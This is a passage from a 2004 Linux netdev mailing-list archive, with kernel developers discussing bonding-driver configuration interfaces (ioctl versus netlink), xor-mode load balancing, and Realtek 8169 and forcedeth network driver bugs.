vPQUS24EZJWuN6wSyFk2zZYaaIb9kmssg8G2/S6J+tUqVVKjMNYZgZJUvd7DuUg22amS9jCRERQU xhJGFFJEyF2qGbUkyoIoQ84zNYR0WEFn6iDIRmoq4qA43LDXRJxGXUBKBDMPUaQoxDwyvMKu619N LnhhrUtCxnH5i8iVevl2JTQaX0Jxxm2g1b35a1E1sCzYjXQmFAjaxLRJaplmvMYMUJKqbSTfFBpr dmF4qH5AayoG62AqVOjR1GHBXBpVyxUBNd67ow4WaloaBRNo0wNcwwBl1aiwGqE2RnsMESDSDzXw kTlmla4mFV1ZhipFYLNEEL5NIPwM1KJLPn17PLj5uHEN55AXo8fmwRtOByFqth8O7ig5FAhQtB2x aVUKvpGdqgpItUl48dwGNR7GfuR2UY0LmdvQ5XnNIwzQ1UN0Bv5IoMFKKJWAgkSyQxQhykFGglbr rcArVF5RHh5yfOMsxe5H1CTYgNGfR5QiwwowInMYR+Ts3IPAPKJY+sjQ4CEYhE94X0kaMa8eNDa6 ZqovJBog/GLeJwBqKJ/xdyRThQkCpHEcAA== --Multipart=_Sun__11_Jan_2004_13_59_00_+0000__w4ZBaR2oW0h.mhe-- From amir.noam@intel.com Sun Jan 11 06:28:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 06:28:54 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BEST6H018024 for ; Sun, 11 Jan 2004 06:28:31 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.9 2004/01/09 00:55:23 root Exp $) with ESMTP id i0BESBW6032438; Sun, 11 Jan 2004 14:28:11 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i0BERqXG015537; Sun, 11 Jan 2004 14:28:10 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011116281017230 ; Sun, 11 Jan 2004 16:28:10 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i0BES8hb002422; Sun, 11 Jan 2004 16:28:09 +0200 (IST) From: Amir Noam To: "Jeff Garzik" Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces Date: Sun, 11 Jan 2004 16:28:07 +0200 User-Agent: KMail/1.5.3 Cc: , References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401111628.07930.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2337 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 2438 Lines: 61 On Sunday 11 January 2004 03:34 am, Jeff Garzik wrote: > Amir Noam wrote: > > The following patch sets provide basic support for future bonding > > operations (specifically for dynamic configuration of bonding > > interfaces). > > > > This is done by adding two new bonding ioctls: one for deviceless > > commands (an ioctl hook) and one for device oriented commands. > > Like ethtool, the first u32 value in the data structure will > > indicate the exact sub-command to be executed. > > > > The sets are against the latest netdev-2.4 and > > net-drivers-2.5-exp trees. > > I don't disagree with the overall goal of these patches, but I > think we might need to pause a bit, and consider how best to > configure, add, and remove bonding interfaces, if we are coming up > with a new interface. > > > For configuration tasks that occur outside the scope of a single > bonding interface (i.e. a single struct net_device), you need a > separate entity from a socket ioctl. It's not ideal at all to > configure N objects using a special ioctl ... when opening one of > said objects :) That's not exactly what the new ioctls do. The new SIOCBONDING ioctl handles commands aimed for the bonding module (and not to any specific bonding interface). This is done via an ioctl hook that captures these commands at the socket level (before dev_ioctl()) and passes it to the bonding code. Such commands do not require opening a bonding interface at all, just a valid socket to send the ioctl. Also, such commands do not configure N other objects (like bonding interfaces) at all. They are used explicitly for "deviceless" commands, like dynamically adding and removing a bonding interface from the system. > I would suggest a simple character device (misc_register), and let > the userland application configure settings unrelated to a single > object. I was trying to follow the example of several other network modules (e.g. vlan, dlci, bridge) that use a socket level ioctl hook to handle such deviceless commands. Do you think that a char device is preferrable, given that other similar modules use a socket ioctl hook? > For a configuring state related to a _single_ bonding interface > (i.e. a single net_device), socket ioctls are OK. For such configuration commands (aimed at a specific bonding interface) I've added the SIOCBONDDEVICE ioctl, which is designed to be extendable to more commands in the future. -- Amir From amir.noam@intel.com Sun Jan 11 06:50:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 06:51:06 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BEon6H018934 for ; Sun, 11 Jan 2004 06:50:52 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.9 2004/01/09 00:55:23 root Exp $) with ESMTP id i0BEoRW6002604; Sun, 11 Jan 2004 14:50:27 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i0BEoRX6017396; Sun, 11 Jan 2004 14:50:27 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011116502617806 ; Sun, 11 Jan 2004 16:50:26 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i0BEoOhb003012; Sun, 11 Jan 2004 16:50:25 +0200 (IST) From: Amir Noam To: "Per Hedeland" Subject: Re: [Bonding-devel] [PATCH] [bonding 2.4] Add balance-xor-ip bonding mode Date: Sun, 11 Jan 2004 16:50:24 +0200 User-Agent: KMail/1.5.3 Cc: , References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401111650.24305.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2338 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 1247 Lines: 30 On Thursday 08 January 2004 06:43 pm, Per Hedeland wrote: > Amir Noam wrote: > >I don't like this. The reason we give different tx function > > pointers to dev->hard_start_xmit in different bonding mode is to > > make the tx path as fast as possible. Otherwise we might as well > > use a single tx function that chooses its exact operation based > > on the bonding mode. > > > >It might be better to have some code duplication if it results in > >faster tx, but I'm not sure what's the optimal solution in this > > case. > > Well, I don't really have an opinion since I don't have a good idea > about the cost of a function call relative to "everything else" > that is happening here. I don't see a way to do "limited" > duplication without using function calls though, but I'm quite > happy to make it two entirely separate functions for MAC vs IP. > Please advise. A possible way to have "limited" duplication would be to have two seperate xmit functions, that call an inline function for the shared code. This might be good enough, performance-wise, while avoiding some code duplication. But, like I've said, I'm not sure wout the best solution is. I'd like to hear what Jay (and others) thinks about it. -- Amir From pollockd@webmail1.magma.ca Sun Jan 11 08:24:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 08:24:24 -0800 (PST) Received: from mx2.magma.ca (mx2.magma.ca [206.191.0.250]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BGO96H025306 for ; Sun, 11 Jan 2004 08:24:10 -0800 Received: from webmail1.magma.ca (webmail1.magma.ca [206.191.0.241]) by mx2.magma.ca (Magma Relay Server) with ESMTP id i0BGNhq6013078; Sun, 11 Jan 2004 11:23:43 -0500 Received: (from pollockd@localhost) by webmail1.magma.ca (Magma's Mail Server) id i0BGNg3O028990; Sun, 11 Jan 2004 11:23:42 -0500 (EST) Date: Sun, 11 Jan 2004 11:23:42 -0500 (EST) Message-Id: <200401111623.i0BGNg3O028990@webmail1.magma.ca> To: Francois Romieu , Jeff Garzik From: "Douglas Pollock" Subject: Re: Realtek 8169 Lock-ups Cc: netdev@oss.sgi.com, damouse@ntlworld.com, brad@mainstreetsoftworks.com, kinetik@orcon.net.nz X-Account: pollockd X-Sender-IP: 209.217.84.59 X-INFO: Folder - 0, Message - 0, MimeBody - 0 Mime-Version: 1.0 Content-Type: text/plain X-archive-position: 2339 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pollockd@magma.ca Precedence: bulk X-list: netdev Content-Length: 882 Lines: 23 On Jan 11, Francois Romieu wrote: > M. Pollock's problems look different: > - they do not depend on the driver used; I can confirm that I do not see kernel panics, and that the driver (for all intents and purposes) seems to work well for a period of time. > - they seem timing/smp related (mobile computer + p4 HT). I ran without SMP support in the kernel for about 1.5 days on my work network, and did not see any of the lock-ups described. However, this evidence is somewhat circumstantial, as we don't have a reproducible test case. It would be nice if someone could point me to a network stress testing tool (something that opens multiple simultaneous connections and keeps them at high load). I'm hoping that such a test might provide a reproducible test case. This way we could confirm or rule-out the SMP relationship. Thanks, Doug. From berk@upnet.ru Sun Jan 11 08:33:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 08:33:24 -0800 (PST) Received: from upnet.ru (upnet.ru [217.107.116.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BGWx6H025928 for ; Sun, 11 Jan 2004 08:33:00 -0800 Received: (qmail 23673 invoked from network); 11 Jan 2004 16:14:56 -0000 Received: from vikul-61-206-98.net-burg.net (HELO rage) (berk@[212.220.206.98]) (envelope-sender ) by upnet.ru (qmail-ldap-1.03) with SMTP for ; 11 Jan 2004 16:14:56 -0000 From: Stanislav Karchebny Organization: eXQuance To: netdev@oss.sgi.com Subject: forcedeth 0.20 eth0: received interrupt report Date: Sun, 11 Jan 2004 21:33:54 +0500 User-Agent: KMail/1.5.94 Cc: Carl-Daniel Hailfinger MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Boundary-02=_9rXAACFcySNAWxL"; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200401112134.05375.berk@upnet.ru> X-archive-position: 2340 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: berk@upnet.ru Precedence: bulk X-list: netdev Content-Length: 1024 Lines: 40 --Boundary-02=_9rXAACFcySNAWxL Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline "eth0: received irq with unknown events 0x21. Please report" This happens when i enable software CPU cooling on nForce2 chipset using=20 =46Vcool - this causes all nforce-net connections to fail miserably and the= se=20 events are generated in dmesg log. The very moment i disable softcooling using fvcool -d the network resumes=20 normal operations. Linux Kernel 2.6.0 final forcedeth 0.20 ASUS A7N8X Deluxe mobo =46eel free to contact me if you need any additional information/debug=20 runs/testing help. =2D-=20 keep in touch. berkus. --Boundary-02=_9rXAACFcySNAWxL Content-Type: application/pgp-signature Content-Description: signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBAAXr98v4MNv5cuDkRAm+pAJ98Sw3R3DXyJYku07RSLx6tZZGqeACeOGRM zVfq+J1t1yyzzxMBhCQ+bEc= =Jrxj -----END PGP SIGNATURE----- --Boundary-02=_9rXAACFcySNAWxL-- From jgarzik@pobox.com Sun Jan 11 11:39:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 11:40:05 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BJdp6H010811 for ; Sun, 11 Jan 2004 11:39:52 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34853 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AflR3-0008B2-3Q; Sun, 11 Jan 2004 19:39:45 +0000 Message-ID: <4001A667.2020904@pobox.com> Date: Sun, 11 Jan 2004 14:39:19 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Amir Noam CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, hadi@cyberus.ca, Ben Greear Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces References: <200401111628.07930.amir.noam@intel.com> In-Reply-To: <200401111628.07930.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2341 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1947 Lines: 46 Amir Noam wrote: > The new SIOCBONDING ioctl handles commands aimed for the bonding > module (and not to any specific bonding interface). This is done via > an ioctl hook that captures these commands at the socket level > (before dev_ioctl()) and passes it to the bonding code. Such commands > do not require opening a bonding interface at all, just a valid > socket to send the ioctl. Right. And this last requirement is spurious. The operation is essentially "open a socket unrelated to X, to perform actions on X". bonding (and it sounds like VLAN too) needs a specific, well-known control point, for controlling module-level data such as the creation and deletion of interfaces. One such well-known control point would be a /dev node. Jamal's suggestion is also an excellent one: let userspace use netlink to communicate with a well known "address" inside the kernel, which would work as the central (and thus bonding-module-wide) bonding control interface. > I was trying to follow the example of several other network modules > (e.g. vlan, dlci, bridge) that use a socket level ioctl hook to > handle such deviceless commands. > > Do you think that a char device is preferrable, given that other > similar modules use a socket ioctl hook? If vlan/dlci/bridge has similar requirements to described above ("open socket unrelated to X, to perform actions on X") then they need to be fixed up too. Opening a random socket to use an ioctl(2) to produce some magic behavior is just ugly, and we need to avoid that. Maybe bgreear would be open to updating VLAN's interface to netlink at the same time, for example? That would allow us (us==netdev) to understand all angles and implications of a good interface design. VLAN AFAICS has a similar requirement: need an interface _unrelated_ to specific VLAN interfaces, to control VLAN interfaces. And netlink certainly works as a control protocol :) Jeff From greearb@candelatech.com Sun Jan 11 13:34:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 13:34:49 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BLYZ6H020008 for ; Sun, 11 Jan 2004 13:34:36 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i0BLYG9v021064; Sun, 11 Jan 2004 13:34:16 -0800 Message-ID: <4001C158.6040103@candelatech.com> Date: Sun, 11 Jan 2004 13:34:16 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Garzik CC: Amir Noam , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, hadi@cyberus.ca Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> In-Reply-To: <4001A667.2020904@pobox.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2342 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 2399 Lines: 61 Jeff Garzik wrote: > Amir Noam wrote: > >> The new SIOCBONDING ioctl handles commands aimed for the bonding >> module (and not to any specific bonding interface). This is done via >> an ioctl hook that captures these commands at the socket level (before >> dev_ioctl()) and passes it to the bonding code. Such commands do not >> require opening a bonding interface at all, just a valid socket to >> send the ioctl. > > > Right. And this last requirement is spurious. The operation is > essentially "open a socket unrelated to X, to perform actions on X". > > bonding (and it sounds like VLAN too) needs a specific, well-known > control point, for controlling module-level data such as the creation > and deletion of interfaces. > > One such well-known control point would be a /dev node. Jamal's > suggestion is also an excellent one: let userspace use netlink to > communicate with a well known "address" inside the kernel, which would > work as the central (and thus bonding-module-wide) bonding control > interface. > > >> I was trying to follow the example of several other network modules >> (e.g. vlan, dlci, bridge) that use a socket level ioctl hook to handle >> such deviceless commands. >> >> Do you think that a char device is preferrable, given that other >> similar modules use a socket ioctl hook? > > > If vlan/dlci/bridge has similar requirements to described above ("open > socket unrelated to X, to perform actions on X") then they need to be > fixed up too. > > Opening a random socket to use an ioctl(2) to produce some magic > behavior is just ugly, and we need to avoid that. Maybe bgreear would > be open to updating VLAN's interface to netlink at the same time, for Actually, I am not a fan of netlink for normal configuration, and would prefer to keep the VLAN control through IOCTL calls. This is mainly because I have not had an easy time of figuring out a simple way to use netlink, while ioctls are very easy to use. If someone wants to update vlan and vconfig to use netlink, then maybe we could add that API as well, but definately we should not remove the IOCTL calls untill at least 2.7. I would also be open to moving the VLAN ioctls over into the ethtool ioctl space, but that just exchanges one magic ioctl for another... Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From per@hedeland.org Sun Jan 11 13:45:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 13:45:44 -0800 (PST) Received: from pluto.hedeland.org (as1-2-8.mal.s.bonet.se [194.236.4.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BLjT6H021419 for ; Sun, 11 Jan 2004 13:45:30 -0800 Received: from pluto.hedeland.org (localhost [127.0.0.1]) by pluto.hedeland.org (8.12.10/8.12.10) with ESMTP id i0BLjGUG095608 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Jan 2004 22:45:16 +0100 (CET) Received: (from per@localhost) by pluto.hedeland.org (8.12.10/8.12.10/Submit) id i0BLjGWJ095607; Sun, 11 Jan 2004 22:45:16 +0100 (CET) Date: Sun, 11 Jan 2004 22:45:16 +0100 (CET) From: Per Hedeland Message-Id: <200401112145.i0BLjGWJ095607@pluto.hedeland.org> To: amir.noam@intel.com Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] [PATCH] [bonding 2.4] Add balance-xor-ip bonding mode In-Reply-To: <200401111650.24305.amir.noam@intel.com> X-archive-position: 2343 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: per@hedeland.org Precedence: bulk X-list: netdev Content-Length: 2920 Lines: 59 Amir Noam wrote: > >A possible way to have "limited" duplication would be to have two >seperate xmit functions, that call an inline function for the shared >code. This might be good enough, performance-wise, while avoiding >some code duplication. Yes, I actually thought of that (after the previous post:-) - it would at least avoid some *source* code duplication. And the reasonable thing to break out into such a function would be the logic to find the slave to xmit on given slave_no (perhaps also the actual xmit), I guess. However when looking at this I realized that the xor mode has a pretty serious bug/flaw in the fault-tolerance department: The modulus is done with the total number of slaves, and slaves that are down are only skipped in that find-slave logic. I.e. if you (e.g.) have a bond with 3 links where link 1 is down, link 2 will get 2/3 of the traffic and link 3 get 1/3 - not good I think. Since fixing this would likely change the interface to the above function, I guess it would be nice to do it at the same time as (or before) the balance-xor-ip addition. Assuming I'm not the only one that thinks it needs fixing, that is.:-) The superficially obvious fix is to do the modulus with only the number of slaves that are up, but I'm not sure about the best actual implementation. That number isn't currently maintained, and traversing the list of slaves just to find it for every packet doesn't make sense of course. It seems straightforward to add another field to the bonding struct for it, and maintain that in the monitoring functions, though. But in addition to that, the actual slave selection logic would have to always check the link state of each slave until it has found the slave_no'th one that is up (though one could optimize for the case of all slaves being up) - whereas currently it only starts checking at the slave_no'th one, and if all slaves are up there is only one check. I'm not sure if this is acceptable? The only alternative I see is to also maintain a list of the slaves that are up, but then we're perhaps getting too much complexity for these "simple" modes. Any comments, other alternatives? >But, like I've said, I'm not sure wout the best solution is. I'd like >to hear what Jay (and others) thinks about it. Well, Jay said he would be out of email access for three weeks - starting tomorrow and promising he would look over updated patches first, but maybe he didn't have the time - or, given that you objected:-), he (correctly) thought that a second update wouldn't arrive in time. I'm in no particular hurry to get this into the "official" source though, since I'll be using an older kernel that I've already applied the (original) patch to for a while anyway - it's just that it gets old pretty quickly to keep reworking the patches against moving (and not very easily accessible) targets... --Per Hedeland per@hedeland.org From c-d.hailfinger.kernel.2003@gmx.net Sun Jan 11 14:41:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 14:41:42 -0800 (PST) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BMfS6H026720 for ; Sun, 11 Jan 2004 14:41:28 -0800 Received: (qmail 2086 invoked by uid 65534); 11 Jan 2004 22:41:21 -0000 Received: from stud213094.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.213.94) by mail.gmx.net (mp021) with SMTP; 11 Jan 2004 23:41:21 +0100 X-Authenticated: #15936885 Message-ID: <4001D113.3030302@gmx.net> Date: Sun, 11 Jan 2004 23:41:23 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: madis CC: Madis Janson , netdev@oss.sgi.com Subject: Re: forcedeth unknown events 0x21 References: <3FE6678B.5070006@gmx.net> In-Reply-To: X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2344 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2003@gmx.net Precedence: bulk X-list: netdev Content-Length: 1064 Lines: 38 madis wrote: > On Mon, 22 Dec 2003, Carl-Daniel Hailfinger wrote: > >>Madis Janson wrote: >> >>>When trying forcedeth_2_6_patch_v19.txt, i got the following message >>>fastly repeating after ifup eth0: >>> >>>"eth0: received irq with unknown events 0x21. Please report" >>> >>>and it didn't work eighter (ifup just stalled). [...] >> >>Please try the attached patch on top of it and report back if it works. > > the unknown events message disappeared, > but the network did not start to work... Do you use any powermanagement software (athcool, lvcool, fvcool, coolon, athlon cooling patch, anything STPGNT related)? Does your BIOS list anything STPGNT related? > + if (events & (NVREG_IRQ_RX_ERR)) { > + dprintk(KERN_DEBUG "%s: received irq with events > 0x%x. > Probably RX fail.\n", > + dev->name, events); > here were '}' missing. Thanks for the hint. If you see anything powermanagement related enabled, please disable it and try again. Does that fix it? Carl-Daniel From hadi@cyberus.ca Sun Jan 11 14:51:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 14:51:30 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BMp66H027486 for ; Sun, 11 Jan 2004 14:51:06 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AfoQ9-0001Rv-CS; Sun, 11 Jan 2004 17:51:01 -0500 Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces From: jamal Reply-To: hadi@cyberus.ca To: Jeff Garzik Cc: Ben Greear , Amir Noam , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com In-Reply-To: <4001C72E.8030108@pobox.com> References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> <4001C72E.8030108@pobox.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1073861429.1119.312.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Jan 2004 17:50:29 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2345 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 854 Lines: 20 On Sun, 2004-01-11 at 16:59, Jeff Garzik wrote: > ioctls are a pain for 32/64-bit emulation layers too. It seems much > easier to define a netlink protocol family of some sort and communicate > that way. > > I'll poke around and see what I can come up with. Theres a L2C netlink protocol (for Layer2 Config) which is already in place being reviewed by DaveM in whatever spurious time he has. Current user is MPLS but definete candidate for VLAN, and the move of bridging STP control to user space. It is true that netlink may not be intuitive to use for someone who hasnt spent time eyeballing it(mostly because of lack of programming docs really). We are going to try and improve things by making it easy to use from both kernel and user space POV and provide sample code which people can cutnpaste in the classical linux-way(tm). cheers, jamal From greearb@candelatech.com Sun Jan 11 14:51:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 14:51:42 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BMpT6H027500 for ; Sun, 11 Jan 2004 14:51:29 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i0BMpN9v025245; Sun, 11 Jan 2004 14:51:23 -0800 Message-ID: <4001D36B.8070402@candelatech.com> Date: Sun, 11 Jan 2004 14:51:23 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Garzik CC: Amir Noam , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, hadi@cyberus.ca Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> <4001C72E.8030108@pobox.com> In-Reply-To: <4001C72E.8030108@pobox.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2346 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 1306 Lines: 38 Jeff Garzik wrote: > Ben Greear wrote: > >> I would also be open to moving the VLAN ioctls over into the >> ethtool ioctl space, but that just exchanges one magic ioctl for >> another... > > > > The key question is what is the best interface for userland to configure > in-kernel information -that is unrelated to a specific interface-. > ethtool ioctl space doesn't apply, because that's a per-interface API. Actually, VLANs map very well to a per-interface API, since VLANs are interfaces and reside on other interfaces. > Opening a socket and just ioctl'ing away isn't terribly scalable in the > long run, either. Consider all the applications that could legitimately > claim they need a SIOCxxx ioctl assignment, just for their little slice > of the networking world. Further, consider that all an ioctl is is a My assumption is that adding a new ethtool message (or vlan ioctl message to the existing VLAN ioctl call) does not cause new emulation problems. Is that true? > I'll poke around and see what I can come up with. I'm interested in seeing the result. I've never found a simple example of something using the netlink api, and if it can be done, then I'll probably convert. Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From jgarzik@pobox.com Sun Jan 11 14:58:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 14:58:52 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BMwc6H028530 for ; Sun, 11 Jan 2004 14:58:39 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34898 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AfncO-0001L6-BC; Sun, 11 Jan 2004 21:59:36 +0000 Message-ID: <4001C72E.8030108@pobox.com> Date: Sun, 11 Jan 2004 16:59:10 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ben Greear CC: Amir Noam , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, hadi@cyberus.ca Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> In-Reply-To: <4001C158.6040103@candelatech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2347 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 967 Lines: 27 Ben Greear wrote: > I would also be open to moving the VLAN ioctls over into the > ethtool ioctl space, but that 